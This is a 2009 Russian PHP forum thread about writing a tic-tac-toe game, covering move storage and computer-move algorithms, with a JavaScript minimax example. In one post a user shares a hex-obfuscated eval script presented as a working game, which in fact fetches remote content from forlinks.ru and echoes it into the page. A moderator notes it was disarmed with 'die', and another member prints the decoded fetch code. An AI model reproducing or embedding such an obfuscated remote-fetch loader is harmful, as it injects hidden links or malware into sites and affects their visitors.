X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Игра в крестики, нолики
dimjan4
dimjan4
Topic Starter сообщение 19.10.2009, 22:00; Ответить: dimjan4
Сообщение #1


Здравствуйте!
Собираюсь создать игру "крестики нолики". Есть несколько вопросов. Как мне сохранять ходы?? Думал сохранять в сессии следующем образом: у нас же 9 клеток, следовательно я могу создать массив, где будет указано: 0 - пуская клетка, 1 - Х, 2 - 0 . В сессию можно записать так:
[PHP]$_SESSION['game'] = "0.0.0.1.0.2.0.0.0";[/PHP]
дальше легко работать с этой строкой:
[PHP]list($box[1],$box[2],$box[3],$box[4],$box[5],$box[6],$box[7],$box[8],$box[9])
= explode (".",$_SESSION['game']);[/PHP]
Нормально будет или есть более простое решение?
Следующий вопрос:
Как ставить компьютеру свой ход?? Rand не подходит, надо же ставить "со смыслом"...Вот тут то я и затормозил...Что Вы тут можете мне предложить??
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Apay
Apay
сообщение 19.10.2009, 22:36; Ответить: Apay
Сообщение #2


[php]$box = explode ('.','.'.$_SESSION['game']);[/php] более простое :)
а вообще-то это лучше делать на js (не перегружать все время страницу) или ajax, тогда и сессии не нужны.

начсет алгоритма - поищите в инете или придумайте свой
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Letmetouchyou
Letmetouchyou
сообщение 19.10.2009, 23:50; Ответить: Letmetouchyou
Сообщение #3


проше было бы не через массив, а матрицы.
а "мозг" компу задавть по индексам елементов )
так будет "полноценное" клеточное поле и можно отслеживать рядомстоящие елементы )
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
alexdrob
alexdrob
сообщение 20.10.2009, 1:45; Ответить: alexdrob
Сообщение #4


Я делал на делфях крестики нолики, все ходы были продуманны и выиграть было нельзя)) максимум ничья)

Смысл был такой

оцениваешь каждую клетку то есть например

(1,1)(1,2)(1,3)
(2,1)(2,2)(2,3)
(3,1)(3,2)(3,3)

берёшь 1,1 и проверяешь если
1) поставив туда компьютер завершит игру и выиграет присваеваешь ей число например 1000
2) поставив туда компьютер предотвратит выигрышь игрока то 500
3)если в клетках строкам которых она пренадлежит есть уже ход компа, но нет хода иргока, то 100 за каждую за каждую строку
(для клетки (1,1) строки (1,2)(1,3) (2,1)(3,1) (2,2)(3,3))

а потом просто выбираешь клетку с макс значением и ходишь в неё
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dimjan4
dimjan4
Topic Starter сообщение 20.10.2009, 17:03; Ответить: dimjan4
Сообщение #5


или ajax
Да , я Ajax буду использовать
начсет алгоритма - поищите в инете или придумайте свой
Я бы хотел придумать свой, вот мои рассуждения на данный момент:
В википедии есть такая вот схемка:
http://upload.wikimedia.org/wikipedia/comm...-x-rational.jpg
И полностью каждые ходы прописывать....Но там будет ,примерно, 35 ифов... это же очень нагрузит сервет!

Насчёт
поищите в инете
Я много скриптов просмотрел и один из них:
[php]<?php
eval ("\x64\x69\x65\x3b\x24\x73\x69\x74\x65\x20\x3d\x20\
x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x6f\
x72\x6c\x69\x6e\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\
x74\x78\x74\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\
x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x22\x63\x75\
x72\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b\
x24\x63\x68\x20\x3d\x20\x63\x75\x72\x6c\x5f\x69\x6e\x69\
x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\
x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\
x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65\x29\x3b\x63\x75\
x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\
x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x46\x41\x49\x4c\x4f\
x4e\x45\x52\x52\x4f\x52\x2c\x20\x31\x29\x3b\x63\x75\x72\
x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\
x43\x55\x52\x4c\x4f\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\
x54\x52\x41\x4e\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\
x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\
x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\
x55\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63\
x75\x72\x6c\x5f\x65\x78\x65\x63\x28\x24\x63\x68\x29\x3b\
x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24\x63\x68\
x29\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68\x6f\x20\x40\
x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\
x6e\x74\x73\x28\x24\x73\x69\x74\x65\x29\x3b");?>[/php]Как я понимаю, это зашифрованный скрипт, но это единственный рабочий в интернете...
все ходы были продуманны и выиграть было нельзя)) максимум ничья)
Вот мне и надо чтобы было трудно выиграть, максимум 1 из 20 выигрывает...
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Apay
Apay
сообщение 20.10.2009, 17:58; Ответить: Apay
Сообщение #6


dimjan4, этот код ничего не делает, только вставляет в сайт кучу ссылок в невидимый див, который берется из чужого сайта (а мог бы быть какой-нить вирус).

я код оставил в назидание другим, но сделал нерабочим.

предупреждение: еще что-нить такое - и бан обеспечен.

п.с. если находите в инете подобное - расшифруйте (это не сложно), если не можете - выкидывайте код нафиг
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Witu
Witu
сообщение 20.10.2009, 18:14; Ответить: Witu
Сообщение #7


[php]
die;$site = "http://www.forlinks.ru/l/l.txt";if(@function_exists("curl_version")){$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$site);curl_setopt($ch, CURLOPT_FAILONERROR, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_TIMEOUT, 4);echo @curl_exec($ch);curl_close($ch);}else echo @file_get_contents($site);
[/php]
тут крестиками ноликами не пахнет

Как я понимаю, это зашифрованный скрипт, но это единственный рабочий в интернете...

предлагаю бан
я уверен в том что он знал о том что там в итоге будет вирус )
PS

[php]
eval("\x70\x72\x69\x6e\x74\x28\x22\xdf\x20\xf2\xee\xe6\xe5\x20\xf2\xe0\xea\x20\xf3\xec\xe5\xfe\x22\x29\x3b\x20\x69\x66\x20\x28\x40\x67\x65\x74\x5f\x6d\x61\x67\x69\x63\x5f\x71\x75\x6f\x74\x65\x73\x5f\x67\x70\x63\x28\x29\x29\x20\x7b\x20\x65\x63\x68\x6f\x20\x22\xf4\xe8\xeb\xfc\xf2\xf0\xf3\xe9\x20\xea\xe0\xe2\xfb\xf7\xea\xe8\x22\x3b\x20\x7d\x20\x65\x6c\x73\x65\x20\x64\x69\x65\x28\x22\xe2\xea\xeb\xfe\xf7\xe8\x20\x6d\x61\x67\x69\x63\x5f\x71\x75\x6f\x74\x65\x73\x5f\x67\x70\x63\x22\x29\x3b");
[/php]
а это мой ответ :)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dimjan4
dimjan4
Topic Starter сообщение 20.10.2009, 18:50; Ответить: dimjan4
Сообщение #8


я уверен в том что он знал о том что там в итоге будет вирус )

Вы что?? Я в первый раз слышу, что так можно передать вирус! А насчет
предупреждение: еще что-нить такое - и бан обеспечен.

Понял! Я действительно не знал!
тут крестиками ноликами не пахнет

Я же говорю, что не умею этот код расшифровывать!
Моя целью проживания на этом форуме - научиться программировать...Я даже и не думал навредить форумчаном, так как с Вашей помощью я многому научился!

Насчёт этого кода: залезьте в google и наберите что то в этом роде: php скрипт крестики
нолики ...Вы сами увидете , что существует 2 php скрипта этой игры: один не рабочий (с ошибками) а второй вот это ...
Можете мне объяснить как расшифровывать??
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Apay
Apay
сообщение 20.10.2009, 19:09; Ответить: Apay
Сообщение #9


это пока не вирус, а может им быть, если на forlinks другой файлик закинут.
на первый раз - просто устное предупреждение.
кстати, я погуглил для интереса, там гораздо брольше чем 2 скрипта. и если вы написали
(dimjan4 @ 20.10.2009, 21:50) *
один не рабочий (с ошибками) а второй вот это ...
значит вы пробовали оба.

ваши ответы очень нелогичны и невпопад, так что, как говорят "не отмажешься".
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Witu
Witu
сообщение 21.10.2009, 8:54; Ответить: Witu
Сообщение #10


dimjan4, тут отмазаться нереально
гугл выдал " Результаты 1 - 10 из примерно 3 450 для php скрипт крестики нолики. (0,06 секунд) "

еслиб ты искал крестики нолики то тыб увидел это
[php]
<html>
<head>
<title>Tic Tac Toe</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<Style>
A:Link{ Color: #000000; Text-decoration: underline}
A:Visited{ Color: #000000; Text-decoration: underline}
A:Hover{ Color: #000000; Text-decoration: none}
td, body {font-family: verdana, arial, helvetica; font-size:11px;}
</Style>

</head>
<body bgcolor="#EDEDED" text="#000000" link="#000000" topmargin="0" leftmargin="0">
<center>
<FORM>
<INPUT SIZE=1 NAME="a0" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b0" OnClick="clickit(this)">
<INPUT SIZE=1 NAME="a1" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b1" OnClick="clickit(this)">
<INPUT SIZE=1 NAME="a2" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b2" OnClick="clickit(this)"><BR>
<INPUT SIZE=1 NAME="a3" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b3" OnClick="clickit(this)">
<INPUT SIZE=1 NAME="a4" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b4" OnClick="clickit(this)">
<INPUT SIZE=1 NAME="a5" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b5" OnClick="clickit(this)"><BR>
<INPUT SIZE=1 NAME="a6" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b6" OnClick="clickit(this)">
<INPUT SIZE=1 NAME="a7" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b7" OnClick="clickit(this)">
<INPUT SIZE=1 NAME="a8" OnFocus="complain(this)">
<INPUT TYPE="button" NAME="b8" OnClick="clickit(this)"><BR>
<table border=0><tr><td>
Message:</td><td> <INPUT NAME="output" TYPE="text"></td></tr>
<tr><td>Difficulty: </td><td><SELECT NAME="difficulty"
OnChange="diff=form.difficulty[form.difficulty.selectedIndex].value;">
<OPTION VALUE=1> Very Easy
<OPTION VALUE=2> Easy
<OPTION VALUE=3 SELECTED> Medium
<OPTION VALUE=4> Hard (may think a long time)
</SELECT></td></tr>
<tr><td></td><td><INPUT TYPE="button" VALUE="Computer Moves First"
OnClick="if (!step++) this.form.a4.value='O';"></td></tr>
<tr><td></td>
<td><INPUT TYPE="reset" VALUE="Restart"
OnClick="clear_all(this.form)"></td></tr>
</table>
</FORM>




<script LANGUAGE="LiveScript">
<!---Copyright 1996 Chris Englmeier
<!---Feel free to use this script as long as these copyright
<!-- line remain as is
<!--
step = 0;
diff=3;
// change board when button is clicked
function clear_all(form) {
step = 0;
for (i=0;i<9; ++i) {
position="a"+i;
form[position].value="";
}
}
// change board when button is clicked
function clickit(field) {
if (step == -1) {alert("Reset to play again"); return;}
position=field.name.substring(1,2,1);
position = 'a'+position;
if (field.form[position].value !="")
{alert("Can't go there"); return;}
field.form[position].value="X";
if (eval_pos(field.form)) {
field.form.output.value="You Win!";
step = -1;
return;
}
position=get_move(field.form);
field.form.output.value='I moved to ' +
position.substring(1,2,1);
if (position=="") {
field.form.output.value="No Winner.";
step = -1;
return;
}
field.form[position].value="O";
if (eval_pos(field.form)) {
field.form.output.value="You Lose!";
step = -1;
}
}
// see if there is a winner
function eval_pos(form) {
if ((form.a0.value!="" && form.a0.value==form.a3.value &&
form.a0.value==form.a6.value)||
(form.a0.value!="" && form.a0.value==form.a1.value &&
form.a0.value==form.a2.value) ||
(form.a0.value!="" && form.a0.value==form.a4.value &&
form.a0.value==form.a8.value) ||
(form.a1.value!="" && form.a1.value==form.a4.value &&
form.a1.value==form.a7.value) ||
(form.a2.value!="" && form.a2.value==form.a5.value &&
form.a2.value==form.a8.value) ||
(form.a2.value!="" && form.a2.value==form.a4.value &&
form.a2.value==form.a6.value) ||
(form.a3.value!="" && form.a3.value==form.a4.value &&
form.a3.value==form.a5.value) ||
(form.a6.value!="" && form.a6.value==form.a7.value &&
form.a6.value==form.a8.value))
return true;
else
return false;
}
function f(a) {
if (a == "") return "."; else return a;
}
// get position for move.
function comp_move(form,player,weight,depth) {
var cost;
var bestcost=-2;
var position;
var newplayer;
if (player=="X") newplayer="O"; else newplayer="X";
if (depth==diff) return 0;
if (eval_pos(form)) return 1;
for (var i=0; i<9; ++i) {
position='a'+i;
if (form[position].value != "")
continue;
form[position].value=player;
cost = comp_move(form,newplayer, -weight, depth+1);
if (cost > bestcost) {
bestcost=cost;
if (cost==1) i=9;
}
form[position].value="";
}
if (bestcost==-2) bestcost=0;
return(-bestcost);
}
// get position for move.
function get_move(form) {
var cost;
var bestcost=-2;
bestmove="";
// don't think about first move.
if (step++ == 0)
if (form.a4.value=="") return "a4";
else if (form.a0.value=="") return "a0";
for (var i=0; i<9; ++i) {
localposition='a'+i;
if (form[localposition].value != "")
continue;
form[localposition].value="O";
cost=comp_move(form,"X", -1, 0);
if (cost > bestcost) {
if (cost==1) i=9;
bestmove=localposition;
bestcost=cost;
}
form[localposition].value="";
}
return bestmove;
}
// complain if user attempts to change board
function complain(field) {
field.form.output.focus(); // put focus eleswhere
alert("Don't change the game fields directly!");
}
// the end -->
</SCRIPT>

</body>
</html>
[/php]
5я ссылка сверху :)
тыб как минимум подумал чтобы отсюда взять алгоритмы

4я ссылка сверху http://script-master.ru/all-scripts/games-...iki-noliki.html


ииии хит сезона 3я ссылка сверху http://www.vanta.ru/script/info.php?id=142&clas=0
вторая ссылка :) http://scripts.protoplex.ru/?group=52&...on=&search=

так что триндеть про гугл не стоит :)


Можете мне объяснить как расшифровывать??

попробуй вывести на экран может получится :) хотя для меня это самый простой способ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Конкурс-игра для вебмастеров от Финлайн
0 MikeMore 1554 12.6.2019, 15:01
автор: -MikeMore-
Открытая тема (нет новых ответов) Браузерная игра
3 megaweb_mw 1373 29.2.2016, 18:30
автор: illi
Открытая тема (нет новых ответов) Онлайн игра
5 good7 4514 27.2.2016, 16:33
автор: -Gulio-
Открытая тема (нет новых ответов) Партнерка. Онлайн игра 50%
4 yupiks 2798 24.7.2014, 16:24
автор: yupiks
Открытая тема (нет новых ответов) Фан сайт сериала "Игра престолов"
0 timedo 1374 21.4.2013, 20:48
автор: timedo


 



RSS Текстовая версия Сейчас: 26.4.2024, 5:05
Дизайн